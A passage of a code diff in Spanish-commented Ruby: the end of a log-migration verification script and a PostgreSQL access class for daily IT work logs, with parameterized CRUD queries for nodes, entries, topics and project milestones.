puts "\n#{COLORES[:bold]}📊 Resultado de verificación:#{COLORES[:reset]}\n"
|
||||
|
||||
# OK
|
||||
puts "#{COLORES[:green]}✅ Migradas correctamente: #{@resultados[:ok].size}#{COLORES[:reset]}"
|
||||
@resultados[:ok].each do |r|
|
||||
puts " #{COLORES[:dim]}#{r[:fecha]} (#{r[:entradas]} entradas)#{COLORES[:reset]}"
|
||||
end
|
||||
|
||||
# Sin entradas
|
||||
if @resultados[:sin_entradas].any?
|
||||
puts "\n#{COLORES[:yellow]}⚠ En DB pero sin entradas: #{@resultados[:sin_entradas].size}#{COLORES[:reset]}"
|
||||
@resultados[:sin_entradas].each { |f| puts " #{f}" }
|
||||
end
|
||||
|
||||
# No migradas
|
||||
if @resultados[:no_migrada].any?
|
||||
puts "\n#{COLORES[:red]}❌ No migradas (MD existe, DB no): #{@resultados[:no_migrada].size}#{COLORES[:reset]}"
|
||||
@resultados[:no_migrada].each { |f| puts " #{f}" }
|
||||
puts " #{COLORES[:dim]}Ejecuta: ./adn/tools/run db migrar:md FECHA#{COLORES[:reset]}"
|
||||
end
|
||||
|
||||
# Sin MD
|
||||
if @resultados[:sin_md].any?
|
||||
puts "\n#{COLORES[:cyan]}ℹ En DB sin archivo MD: #{@resultados[:sin_md].size}#{COLORES[:reset]}"
|
||||
@resultados[:sin_md].each { |f| puts " #{f}" }
|
||||
puts " #{COLORES[:dim]}Ejecuta: ./adn/tools/run db exportar:md FECHA#{COLORES[:reset]}"
|
||||
end
|
||||
|
||||
total = @resultados[:ok].size + @resultados[:sin_entradas].size
|
||||
total_md = @resultados[:ok].size + @resultados[:sin_entradas].size + @resultados[:no_migrada].size
|
||||
pct = total_md > 0 ? ((@resultados[:ok].size.to_f / total_md) * 100).round(1) : 0
|
||||
|
||||
puts "\n#{COLORES[:bold]}📈 Cobertura: #{pct}% (#{@resultados[:ok].size}/#{total_md})#{COLORES[:reset]}"
|
||||
|
||||
if @resultados[:no_migrada].empty? && @resultados[:sin_entradas].empty?
|
||||
puts "#{COLORES[:green]}#{COLORES[:bold]}🎉 ¡Migración completa! Todas las bitácoras están en la DB.#{COLORES[:reset]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Ejecución directa
|
||||
if __FILE__ == $0
|
||||
bitacoras_dir = File.expand_path('../../../docs/bitacoras', __dir__)
|
||||
BitacorasDB::CLI::VerificarMigracion.new(bitacoras_dir).ejecutar
|
||||
end
|
||||
@@ -0,0 +1,839 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/core/bitacora_db.rb — Clase principal para conexión a PostgreSQL
|
||||
# ================================================================================
|
||||
# Esta clase proporciona una interfaz Ruby para interactuar con la base de datos
|
||||
# dtic-BITACORAs. Maneja conexiones, operaciones CRUD y validaciones para las
|
||||
# tablas del esquema 'bitacoras':
|
||||
# • nodos - Servidores, VMs, PCs del sistema
|
||||
# • bitacoras - Bitácoras diarias (fecha única)
|
||||
# • temas - Agrupadores de entradas por nodo
|
||||
# • entradas - Entradas cronológicas en formato I-F-D-E
|
||||
#
|
||||
# Uso básico:
|
||||
# db = BitacorasDB::BitacoraDB.new
|
||||
# db.connection_test? # Verificar conexión
|
||||
# bitacoras = db.list_bitacoras(limit: 10)
|
||||
# db.create_entrada(inicio: '09:00', fin: '10:00', descripcion: 'Reunión', nodo_id: 1)
|
||||
#
|
||||
# Uso con bloque (cierre automático):
|
||||
# BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# db.create_bitacora(fecha: Date.today)
|
||||
# end
|
||||
#
|
||||
# Configuración:
|
||||
# La configuración se carga desde tools/config/database.yml
|
||||
# Entorno por defecto: development (contenedor Docker en puerto 5433)
|
||||
|
||||
require 'pg'
|
||||
require 'yaml'
|
||||
require 'json'
|
||||
require 'date'
|
||||
require 'time'
|
||||
|
||||
module BitacorasDB
|
||||
class BitacoraDB
|
||||
# Constantes para el esquema y tablas
|
||||
SCHEMA = 'bitacoras'
|
||||
TABLES = {
|
||||
nodos: 'nodos',
|
||||
bitacoras: 'bitacoras',
|
||||
temas: 'temas',
|
||||
entradas: 'entradas'
|
||||
}.freeze
|
||||
|
||||
# Estados válidos para entradas y temas
|
||||
ESTADOS_VALIDOS = ['⏳', '✅', '❌', '⚠️', '⏸️'].freeze
|
||||
|
||||
# Modos válidos para entradas
|
||||
MODOS_VALIDOS = ['P', 'R', 'S'].freeze # P=Presencial, R=Remoto, S=Servicio
|
||||
|
||||
# Inicializa la conexión a la base de datos
|
||||
#
|
||||
# @param env [Symbol, String] Entorno (:development, :test, :production)
|
||||
# @param config_path [String] Ruta al archivo de configuración YAML
|
||||
# @param logger [Object] Instancia de logger (por defecto ADN.logger si disponible)
|
||||
def initialize(env: :development, config_path: nil, logger: nil)
|
||||
@env = env.to_s
|
||||
@config_path = config_path || default_config_path
|
||||
@config = load_config
|
||||
@connection = nil
|
||||
@logger = logger || default_logger
|
||||
@connected = false
|
||||
end
|
||||
|
||||
# Carga la configuración desde el archivo YAML
|
||||
#
|
||||
# @return [Hash] Configuración para el entorno actual
|
||||
# @raise [RuntimeError] Si no se encuentra la configuración o el entorno
|
||||
def load_config
|
||||
unless File.exist?(@config_path)
|
||||
raise "Archivo de configuración no encontrado: #{@config_path}"
|
||||
end
|
||||
|
||||
config = YAML.load_file(@config_path)
|
||||
|
||||
unless config && config[@env]
|
||||
raise "Entorno '#{@env}' no encontrado en #{@config_path}. Entornos disponibles: #{config.keys.join(', ')}"
|
||||
end
|
||||
|
||||
config[@env]
|
||||
end
|
||||
|
||||
# Establece conexión con la base de datos
|
||||
#
|
||||
# @return [PG::Connection] Conexión PostgreSQL
|
||||
# @raise [PG::Error] Si falla la conexión
|
||||
def connect
|
||||
return @connection if @connected && @connection && !@connection.finished?
|
||||
|
||||
begin
|
||||
@logger&.info("Conectando a PostgreSQL: #{@config['host']}:#{@config['port']}/#{@config['database']}")
|
||||
|
||||
@connection = PG.connect(
|
||||
host: @config['host'],
|
||||
port: @config['port'],
|
||||
dbname: @config['database'],
|
||||
user: @config['username'],
|
||||
password: @config['password'],
|
||||
connect_timeout: @config['timeout'] || 5000
|
||||
)
|
||||
|
||||
# Configurar búsqueda de esquema
|
||||
if @config['schema_search_path']
|
||||
@connection.exec("SET search_path TO #{@config['schema_search_path']}")
|
||||
end
|
||||
|
||||
@connected = true
|
||||
@logger&.info("Conexión a PostgreSQL establecida correctamente")
|
||||
|
||||
@connection
|
||||
rescue PG::Error => e
|
||||
@connected = false
|
||||
@logger&.error("Error conectando a PostgreSQL: #{e.message}")
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
# Cierra la conexión con la base de datos
|
||||
def disconnect
|
||||
if @connected && @connection && !@connection.finished?
|
||||
@connection.close
|
||||
@connected = false
|
||||
@logger&.info("Conexión a PostgreSQL cerrada")
|
||||
end
|
||||
@connection = nil
|
||||
end
|
||||
|
||||
# Ejecuta un bloque con una conexión, cerrando automáticamente al final
|
||||
#
|
||||
# @yield [BitacoraDB] Instancia de BitacoraDB con conexión establecida
|
||||
# @return [Object] Resultado del bloque
|
||||
def with_connection(&block)
|
||||
connect
|
||||
yield self
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Método de clase para uso con bloque
|
||||
#
|
||||
# @param env [Symbol] Entorno a usar
|
||||
# @param config_path [String] Ruta al archivo de configuración
|
||||
# @yield [BitacoraDB] Instancia de BitacoraDB
|
||||
# @return [Object] Resultado del bloque
|
||||
def self.with_connection(env: :development, config_path: nil, &block)
|
||||
db = new(env: env, config_path: config_path)
|
||||
db.with_connection(&block)
|
||||
end
|
||||
|
||||
# Verifica si la conexión a la base de datos está activa
|
||||
#
|
||||
# @return [Boolean] true si la conexión es válida
|
||||
def connection_test?
|
||||
return false unless @connected && @connection && !@connection.finished?
|
||||
|
||||
begin
|
||||
@connection.exec('SELECT 1')
|
||||
true
|
||||
rescue PG::Error
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Obtiene información de salud de la base de datos
|
||||
#
|
||||
# @return [Hash] Información de estado y estadísticas
|
||||
def health_check
|
||||
return { status: 'disconnected', message: 'No hay conexión activa' } unless connection_test?
|
||||
|
||||
begin
|
||||
result = @connection.exec('SELECT version()').first
|
||||
stats = @connection.exec('SELECT COUNT(*) as total FROM bitacoras.bitacoras').first
|
||||
|
||||
{
|
||||
status: 'healthy',
|
||||
postgres_version: result['version'],
|
||||
bitacoras_count: stats['total'].to_i,
|
||||
timestamp: Time.now.iso8601,
|
||||
connection: {
|
||||
host: @config['host'],
|
||||
port: @config['port'],
|
||||
database: @config['database']
|
||||
}
|
||||
}
|
||||
rescue PG::Error => e
|
||||
{
|
||||
status: 'unhealthy',
|
||||
message: e.message,
|
||||
timestamp: Time.now.iso8601
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# OPERACIONES CRUD PARA BITÁCORAS
|
||||
|
||||
# Crea una nueva bitácora diaria
|
||||
#
|
||||
# @param fecha [Date, String] Fecha de la bitácora
|
||||
# @param resumen [String, nil] Resumen opcional
|
||||
# @return [Hash] Bitácora creada con ID
|
||||
# @raise [PG::Error] Si ya existe bitácora para esa fecha
|
||||
def create_bitacora(fecha:, resumen: nil)
|
||||
fecha = Date.parse(fecha.to_s) unless fecha.is_a?(Date)
|
||||
|
||||
query = <<~SQL
|
||||
INSERT INTO #{SCHEMA}.#{TABLES[:bitacoras]} (fecha, resumen)
|
||||
VALUES ($1, $2)
|
||||
RETURNING id, fecha, resumen, created_at, updated_at
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(query, [fecha.to_s, resumen])
|
||||
result.first
|
||||
end
|
||||
|
||||
# Obtiene bitácoras con paginación y filtros
|
||||
#
|
||||
# @param limit [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento para paginación
|
||||
# @param desde [Date, String, nil] Fecha desde
|
||||
# @param hasta [Date, String, nil] Fecha hasta
|
||||
# @return [Array<Hash>] Lista de bitácoras
|
||||
def list_bitacoras(limit: 50, offset: 0, desde: nil, hasta: nil)
|
||||
conditions = []
|
||||
params = []
|
||||
param_index = 1
|
||||
|
||||
if desde
|
||||
conditions << "fecha >= $#{param_index}"
|
||||
params << Date.parse(desde.to_s).to_s
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if hasta
|
||||
conditions << "fecha <= $#{param_index}"
|
||||
params << Date.parse(hasta.to_s).to_s
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
where_clause = conditions.empty? ? '' : "WHERE #{conditions.join(' AND ')}"
|
||||
|
||||
query = <<~SQL
|
||||
SELECT id, fecha, resumen, created_at, updated_at
|
||||
FROM #{SCHEMA}.#{TABLES[:bitacoras]}
|
||||
#{where_clause}
|
||||
ORDER BY fecha DESC
|
||||
LIMIT $#{param_index} OFFSET $#{param_index + 1}
|
||||
SQL
|
||||
|
||||
params << limit
|
||||
params << offset
|
||||
|
||||
result = @connection.exec_params(query, params)
|
||||
result.map(&:to_h)
|
||||
end
|
||||
|
||||
# Busca una bitácora por fecha
|
||||
#
|
||||
# @param fecha [Date, String] Fecha a buscar
|
||||
# @return [Hash, nil] Bitácora encontrada o nil
|
||||
def find_bitacora_by_fecha(fecha)
|
||||
fecha = Date.parse(fecha.to_s) unless fecha.is_a?(Date)
|
||||
|
||||
query = <<~SQL
|
||||
SELECT id, fecha, resumen, created_at, updated_at
|
||||
FROM #{SCHEMA}.#{TABLES[:bitacoras]}
|
||||
WHERE fecha = $1
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(query, [fecha.to_s])
|
||||
result.first&.to_h
|
||||
end
|
||||
|
||||
# OPERACIONES CRUD PARA NODOS
|
||||
|
||||
# Crea un nuevo nodo (servidor, VM, PC)
|
||||
#
|
||||
# @param nombre [String] Nombre único del nodo
|
||||
# @param ip [String, nil] Dirección IP
|
||||
# @param tipo [String] Tipo ('servidor', 'hipervisor', 'vm', 'pc')
|
||||
# @param descripcion [String, nil] Descripción opcional
|
||||
# @param activo [Boolean] Si el nodo está activo
|
||||
# @return [Hash] Nodo creado con ID
|
||||
def create_nodo(nombre:, ip: nil, tipo: 'servidor', descripcion: nil, activo: true)
|
||||
tipos_validos = ['servidor', 'hipervisor', 'vm', 'pc', 'vmware', 'xenserver', 'servicio']
|
||||
|
||||
unless tipos_validos.include?(tipo.downcase)
|
||||
raise ArgumentError, "Tipo de nodo inválido. Válidos: #{tipos_validos.join(', ')}"
|
||||
end
|
||||
|
||||
query = <<~SQL
|
||||
INSERT INTO #{SCHEMA}.#{TABLES[:nodos]} (nombre, ip, tipo, descripcion, activo)
|
||||
VALUES ($1, $2, $3, $4, $5)
|
||||
RETURNING id, nombre, ip, tipo, descripcion, activo, created_at, updated_at
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(query, [nombre, ip, tipo, descripcion, activo])
|
||||
result.first
|
||||
end
|
||||
|
||||
# Lista nodos con filtros
|
||||
#
|
||||
# @param activo [Boolean, nil] Filtrar por estado activo
|
||||
# @param tipo [String, nil] Filtrar por tipo
|
||||
# @param limit [Integer] Límite de resultados
|
||||
# @return [Array<Hash>] Lista de nodos
|
||||
def list_nodos(activo: nil, tipo: nil, limit: 100)
|
||||
conditions = []
|
||||
params = []
|
||||
param_index = 1
|
||||
|
||||
if !activo.nil?
|
||||
conditions << "activo = $#{param_index}"
|
||||
params << activo
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if tipo
|
||||
conditions << "tipo = $#{param_index}"
|
||||
params << tipo
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
where_clause = conditions.empty? ? '' : "WHERE #{conditions.join(' AND ')}"
|
||||
|
||||
query = <<~SQL
|
||||
SELECT id, nombre, ip, tipo, descripcion, activo, created_at, updated_at
|
||||
FROM #{SCHEMA}.#{TABLES[:nodos]}
|
||||
#{where_clause}
|
||||
ORDER BY nombre
|
||||
LIMIT $#{param_index}
|
||||
SQL
|
||||
|
||||
params << limit
|
||||
|
||||
result = @connection.exec_params(query, params)
|
||||
result.map(&:to_h)
|
||||
end
|
||||
|
||||
# Busca nodo por nombre
|
||||
#
|
||||
# @param nombre [String] Nombre del nodo
|
||||
# @return [Hash, nil] Nodo encontrado o nil
|
||||
def find_nodo_by_nombre(nombre)
|
||||
query = <<~SQL
|
||||
SELECT id, nombre, ip, tipo, descripcion, activo, created_at, updated_at
|
||||
FROM #{SCHEMA}.#{TABLES[:nodos]}
|
||||
WHERE nombre = $1
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(query, [nombre])
|
||||
result.first&.to_h
|
||||
end
|
||||
|
||||
# OPERACIONES CRUD PARA ENTRADAS (I-F-D-E)
|
||||
|
||||
# Crea una nueva entrada cronológica
|
||||
#
|
||||
# @param inicio [String, Time] Hora de inicio (formato HH:MM o Time)
|
||||
# @param descripcion [String] Descripción de la actividad
|
||||
# @param fin [String, Time, nil] Hora de fin (opcional)
|
||||
# @param estado [String] Estado (⏳, ✅, ❌, ⚠️, ⏸️)
|
||||
# @param modo [String] Modo (P=Presencial, R=Remoto)
|
||||
# @param es_ia [Boolean] Si fue generado por IA
|
||||
# @param tema_id [Integer, nil] ID del tema relacionado
|
||||
# @param bitacora_id [Integer, nil] ID de la bitácora
|
||||
# @param nodo_id [Integer, nil] ID del nodo
|
||||
# @return [Hash] Entrada creada con ID
|
||||
def create_entrada(inicio:, descripcion:, fin: nil, estado: nil, modo: nil, es_ia: false,
|
||||
tema_id: nil, bitacora_id: nil, nodo_id: nil)
|
||||
|
||||
# Validar formato de tiempo
|
||||
inicio_time = parse_time(inicio)
|
||||
fin_time = parse_time(fin) if fin
|
||||
|
||||
# Inferir Estado
|
||||
if estado.nil? || estado.strip.empty?
|
||||
estado = fin_time ? '✅' : '⏳'
|
||||
end
|
||||
|
||||
# Inferir Modo
|
||||
if modo.nil? || modo.strip.empty?
|
||||
if bitacora_id
|
||||
res = @connection.exec_params("SELECT modo FROM #{SCHEMA}.#{TABLES[:entradas]} WHERE bitacora_id = $1 ORDER BY id DESC LIMIT 1", [bitacora_id])
|
||||
modo = res.ntuples > 0 ? res[0]['modo'] : 'P'
|
||||
else
|
||||
modo = 'P'
|
||||
end
|
||||
end
|
||||
|
||||
# Validar estado
|
||||
unless ESTADOS_VALIDOS.include?(estado)
|
||||
raise ArgumentError, "Estado inválido. Válidos: #{ESTADOS_VALIDOS.join(', ')}"
|
||||
end
|
||||
|
||||
# Validar modo
|
||||
unless MODOS_VALIDOS.include?(modo)
|
||||
raise ArgumentError, "Modo inválido. Válidos: #{MODOS_VALIDOS.join(', ')}"
|
||||
end
|
||||
|
||||
query = <<~SQL
|
||||
INSERT INTO #{SCHEMA}.#{TABLES[:entradas]} (
|
||||
inicio, fin, descripcion, estado, modo, es_ia,
|
||||
tema_id, bitacora_id, nodo_id
|
||||
)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
|
||||
RETURNING id, inicio, fin, descripcion, estado, modo, es_ia,
|
||||
tema_id, bitacora_id, nodo_id, created_at, updated_at
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(
|
||||
query,
|
||||
[inicio_time, fin_time, descripcion, estado, modo, es_ia,
|
||||
tema_id, bitacora_id, nodo_id]
|
||||
)
|
||||
result.first
|
||||
end
|
||||
|
||||
# Actualiza una entrada existente
|
||||
def update_entrada(id, params)
|
||||
# Auto-inferir estado si se está mandando una hora de fin y no se fuerza un estado explícito
|
||||
if params.key?(:fin) && !params.key?(:estado)
|
||||
if params[:fin].nil? || params[:fin].to_s.strip.empty?
|
||||
params[:estado] = '⏳'
|
||||
else
|
||||
params[:estado] = '✅'
|
||||
end
|
||||
end
|
||||
|
||||
set_clauses = []
|
||||
values = []
|
||||
i = 1
|
||||
|
||||
params.each do |k, v|
|
||||
if [:fin, :descripcion, :estado, :modo, :es_ia].include?(k)
|
||||
val = (k == :fin) ? parse_time(v) : v
|
||||
set_clauses << "#{k} = $#{i}"
|
||||
values << val
|
||||
i += 1
|
||||
end
|
||||
end
|
||||
|
||||
return nil if set_clauses.empty?
|
||||
|
||||
query = <<~SQL
|
||||
UPDATE #{SCHEMA}.#{TABLES[:entradas]}
|
||||
SET #{set_clauses.join(', ')}, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $#{i}
|
||||
RETURNING *
|
||||
SQL
|
||||
|
||||
values << id
|
||||
result = @connection.exec_params(query, values)
|
||||
result.first&.to_h
|
||||
end
|
||||
|
||||
# Lista entradas con filtros avanzados
|
||||
#
|
||||
# @param bitacora_id [Integer, nil] Filtrar por bitácora
|
||||
# @param nodo_id [Integer, nil] Filtrar por nodo
|
||||
# @param tema_id [Integer, nil] Filtrar por tema
|
||||
# @param estado [String, nil] Filtrar por estado
|
||||
# @param desde [Time, String, nil] Fecha/hora desde
|
||||
# @param hasta [Time, String, nil] Fecha/hora hasta
|
||||
# @param limit [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @return [Array<Hash>] Lista de entradas
|
||||
def list_entradas(bitacora_id: nil, nodo_id: nil, tema_id: nil, estado: nil,
|
||||
desde: nil, hasta: nil, buscar: nil, limit: 100, offset: 0)
|
||||
conditions = []
|
||||
params = []
|
||||
param_index = 1
|
||||
|
||||
if bitacora_id
|
||||
conditions << "e.bitacora_id = $#{param_index}"
|
||||
params << bitacora_id
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if nodo_id
|
||||
conditions << "e.nodo_id = $#{param_index}"
|
||||
params << nodo_id
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if tema_id
|
||||
conditions << "e.tema_id = $#{param_index}"
|
||||
params << tema_id
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if estado
|
||||
conditions << "e.estado = $#{param_index}"
|
||||
params << estado
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if desde
|
||||
conditions << "b.fecha >= $#{param_index}"
|
||||
params << Date.parse(desde.to_s).to_s
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if hasta
|
||||
conditions << "b.fecha <= $#{param_index}"
|
||||
params << Date.parse(hasta.to_s).to_s
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if buscar
|
||||
conditions << "e.descripcion ILIKE $#{param_index}"
|
||||
params << "%#{buscar}%"
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
where_clause = conditions.empty? ? '' : "WHERE #{conditions.join(' AND ')}"
|
||||
|
||||
query = <<~SQL
|
||||
SELECT e.id, e.inicio, e.fin, e.descripcion, e.estado, e.modo, e.es_ia,
|
||||
e.tema_id, e.bitacora_id, e.nodo_id, e.created_at, e.updated_at,
|
||||
b.fecha as bitacora_fecha,
|
||||
n.nombre as nodo_nombre,
|
||||
t.titulo as tema_titulo
|
||||
FROM #{SCHEMA}.#{TABLES[:entradas]} e
|
||||
LEFT JOIN #{SCHEMA}.#{TABLES[:bitacoras]} b ON e.bitacora_id = b.id
|
||||
LEFT JOIN #{SCHEMA}.#{TABLES[:nodos]} n ON e.nodo_id = n.id
|
||||
LEFT JOIN #{SCHEMA}.#{TABLES[:temas]} t ON e.tema_id = t.id
|
||||
#{where_clause}
|
||||
ORDER BY COALESCE(b.fecha, CURRENT_DATE) DESC, e.inicio DESC
|
||||
LIMIT $#{param_index} OFFSET $#{param_index + 1}
|
||||
SQL
|
||||
|
||||
params << limit
|
||||
params << offset
|
||||
|
||||
result = @connection.exec_params(query, params)
|
||||
result.map(&:to_h)
|
||||
end
|
||||
|
||||
# OPERACIONES CRUD PARA TEMAS
|
||||
|
||||
# Crea un nuevo tema (agrupador de entradas)
|
||||
#
|
||||
# @param id_tema [String] Identificador único del tema
|
||||
# @param titulo [String] Título del tema
|
||||
# @param estado [String] Estado actual
|
||||
# @param descripcion [String, nil] Descripción opcional
|
||||
# @param bitacora_id [Integer, nil] ID de la bitácora relacionada
|
||||
# @param nodo_id [Integer, nil] ID del nodo relacionado
|
||||
# @return [Hash] Tema creado con ID
|
||||
def create_tema(id_tema:, titulo:, estado: '⏳', descripcion: nil,
|
||||
bitacora_id: nil, nodo_id: nil)
|
||||
|
||||
unless ESTADOS_VALIDOS.include?(estado)
|
||||
raise ArgumentError, "Estado inválido. Válidos: #{ESTADOS_VALIDOS.join(', ')}"
|
||||
end
|
||||
|
||||
query = <<~SQL
|
||||
INSERT INTO #{SCHEMA}.#{TABLES[:temas]} (
|
||||
id_tema, titulo, estado, descripcion, bitacora_id, nodo_id
|
||||
)
|
||||
VALUES ($1, $2, $3, $4, $5, $6)
|
||||
RETURNING id, id_tema, titulo, estado, descripcion,
|
||||
bitacora_id, nodo_id, created_at, updated_at
|
||||
SQL
|
||||
|
||||
result = @connection.exec_params(
|
||||
query,
|
||||
[id_tema, titulo, estado, descripcion, bitacora_id, nodo_id]
|
||||
)
|
||||
result.first
|
||||
end
|
||||
|
||||
# Lista temas con filtros
|
||||
#
|
||||
# @param bitacora_id [Integer, nil] Filtrar por bitácora
|
||||
# @param nodo_id [Integer, nil] Filtrar por nodo
|
||||
# @param estado [String, nil] Filtrar por estado
|
||||
# @param limit [Integer] Límite de resultados
|
||||
# @return [Array<Hash>] Lista de temas
|
||||
def list_temas(bitacora_id: nil, nodo_id: nil, estado: nil, limit: 100)
|
||||
conditions = []
|
||||
params = []
|
||||
param_index = 1
|
||||
|
||||
if bitacora_id
|
||||
conditions << "bitacora_id = $#{param_index}"
|
||||
params << bitacora_id
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if nodo_id
|
||||
conditions << "nodo_id = $#{param_index}"
|
||||
params << nodo_id
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
if estado
|
||||
conditions << "estado = $#{param_index}"
|
||||
params << estado
|
||||
param_index += 1
|
||||
end
|
||||
|
||||
where_clause = conditions.empty? ? '' : "WHERE #{conditions.join(' AND ')}"
|
||||
|
||||
query = <<~SQL
|
||||
SELECT id, id_tema, titulo, estado, descripcion,
|
||||
bitacora_id, nodo_id, created_at, updated_at
|
||||
FROM #{SCHEMA}.#{TABLES[:temas]}
|
||||
#{where_clause}
|
||||
ORDER BY id_tema
|
||||
LIMIT $#{param_index}
|
||||
SQL
|
||||
|
||||
params << limit
|
||||
|
||||
result = @connection.exec_params(query, params)
|
||||
result.map(&:to_h)
|
||||
end
|
||||
|
||||
# MÉTODOS DE UTILIDAD
|
||||
|
||||
# Obtiene estadísticas del sistema
|
||||
#
|
||||
# @return [Hash] Estadísticas de todas las tablas
|
||||
def statistics
|
||||
return {} unless connection_test?
|
||||
|
||||
stats = {}
|
||||
|
||||
TABLES.each_key do |table|
|
||||
query = "SELECT COUNT(*) as total FROM #{SCHEMA}.#{TABLES[table]}"
|
||||
result = @connection.exec(query)
|
||||
stats[table] = result.first['total'].to_i
|
||||
end
|
||||
|
||||
# Estadísticas adicionales
|
||||
query = <<~SQL
|
||||
SELECT
|
||||
COUNT(DISTINCT nodo_id) as nodos_con_entradas,
|
||||
COUNT(DISTINCT DATE(created_at)) as dias_con_actividad,
|
||||
COUNT(CASE WHEN es_ia THEN 1 END) as entradas_ia,
|
||||
COUNT(CASE WHEN estado = '✅' THEN 1 END) as entradas_completadas
|
||||
FROM #{SCHEMA}.#{TABLES[:entradas]}
|
||||
SQL
|
||||
|
||||
result = @connection.exec(query)
|
||||
extra_stats = result.first
|
||||
|
||||
stats.merge(
|
||||
nodos_con_entradas: extra_stats['nodos_con_entradas'].to_i,
|
||||
dias_con_actividad: extra_stats['dias_con_actividad'].to_i,
|
||||
entradas_ia: extra_stats['entradas_ia'].to_i,
|
||||
entradas_completadas: extra_stats['entradas_completadas'].to_i
|
||||
)
|
||||
end
|
||||
|
||||
# Ejecuta una consulta SQL personalizada
|
||||
#
|
||||
# @param sql [String] Consulta SQL
|
||||
# @param params [Array] Parámetros para la consulta preparada
|
||||
# @return [PG::Result] Resultado de la consulta
|
||||
def execute(sql, params = [])
|
||||
@connection.exec_params(sql, params)
|
||||
end
|
||||
|
||||
# Verifica si existe una bitácora para hoy
|
||||
#
|
||||
# @return [Boolean] true si existe bitácora para hoy
|
||||
def bitacora_hoy_existe?
|
||||
fecha_hoy = Date.today.to_s
|
||||
query = "SELECT 1 FROM #{SCHEMA}.#{TABLES[:bitacoras]} WHERE fecha = $1 LIMIT 1"
|
||||
result = @connection.exec_params(query, [fecha_hoy])
|
||||
!result.ntuples.zero?
|
||||
end
|
||||
|
||||
# Crea bitácora para hoy si no existe
|
||||
#
|
||||
# @param resumen [String, nil] Resumen opcional
|
||||
# @return [Hash, nil] Bitácora creada o nil si ya existía
|
||||
def crear_bitacora_hoy(resumen: nil)
|
||||
return nil if bitacora_hoy_existe?
|
||||
|
||||
create_bitacora(fecha: Date.today, resumen: resumen)
|
||||
end
|
||||
|
||||
|
||||
# ==========================================
|
||||
# PROYECTOS, FASES E HITOS (Planes Sistemáticos)
|
||||
# ==========================================
|
||||
|
||||
def find_proyecto_by_codigo(codigo)
|
||||
q = "SELECT * FROM bitacoras.proyectos WHERE codigo = $1"
|
||||
res = execute(q, [codigo.upcase])
|
||||
return nil if res.ntuples.zero?
|
||||
res.first.to_h
|
||||
end
|
||||
|
||||
def list_hitos(proyecto_codigo)
|
||||
proyecto = find_proyecto_by_codigo(proyecto_codigo)
|
||||
raise StandardError, "Proyecto no encontrado: #{proyecto_codigo}" unless proyecto
|
||||
|
||||
q = <<~SQL
|
||||
SELECT f.numero as fase_num, f.nombre as fase_nombre,
|
||||
h.id, h.id_hito, h.titulo, h.estado, h.horas_presencial, h.horas_remoto
|
||||
FROM bitacoras.fases f
|
||||
JOIN bitacoras.hitos h ON h.fase_id = f.id
|
||||
WHERE f.proyecto_id = $1
|
||||
ORDER BY f.numero, h.id_hito
|
||||
SQL
|
||||
res = execute(q, [proyecto['id']])
|
||||
res.map(&:to_h)
|
||||
end
|
||||
|
||||
def rename_hito_id(proyecto_codigo, id_actual, id_nuevo)
|
||||
q_busqueda = <<~SQL
|
||||
SELECT h.id, h.titulo
|
||||
FROM bitacoras.hitos h
|
||||
JOIN bitacoras.fases f ON h.fase_id = f.id
|
||||
JOIN bitacoras.proyectos p ON f.proyecto_id = p.id
|
||||
WHERE p.codigo = $1 AND h.id_hito = $2
|
||||
SQL
|
||||
|
||||
res = execute(q_busqueda, [proyecto_codigo.upcase, id_actual])
|
||||
raise StandardError, "Hito #{id_actual} del proyecto #{proyecto_codigo} no encontrado" if res.ntuples.zero?
|
||||
|
||||
hito = res.first
|
||||
|
||||
q_update = "UPDATE bitacoras.hitos SET id_hito = $1 WHERE id = $2 RETURNING titulo"
|
||||
res_update = execute(q_update, [id_nuevo, hito['id']])
|
||||
|
||||
res_update.first
|
||||
end
|
||||
|
||||
def update_hito(proyecto_codigo, id_hito, estado: nil, horas_presencial: nil, horas_remoto: nil, descripcion: nil)
|
||||
q_busqueda = <<~SQL
|
||||
SELECT h.id, h.horas_presencial, h.horas_remoto, h.estado, h.descripcion
|
||||
FROM bitacoras.hitos h
|
||||
JOIN bitacoras.fases f ON h.fase_id = f.id
|
||||
JOIN bitacoras.proyectos p ON f.proyecto_id = p.id
|
||||
WHERE p.codigo = $1 AND h.id_hito = $2
|
||||
SQL
|
||||
|
||||
res = execute(q_busqueda, [proyecto_codigo.upcase, id_hito])
|
||||
raise StandardError, "Hito #{id_hito} del proyecto #{proyecto_codigo} no encontrado" if res.ntuples.zero?
|
||||
|
||||
hito = res.first
|
||||
|
||||
updates = []
|
||||
params = []
|
||||
param_count = 1
|
||||
|
||||
if estado
|
||||
updates << "estado = $#{param_count}"
|
||||
params << estado
|
||||
param_count += 1
|
||||
end
|
||||
|
||||
unless horas_presencial.nil?
|
||||
updates << "horas_presencial = $#{param_count}"
|
||||
params << horas_presencial
|
||||
param_count += 1
|
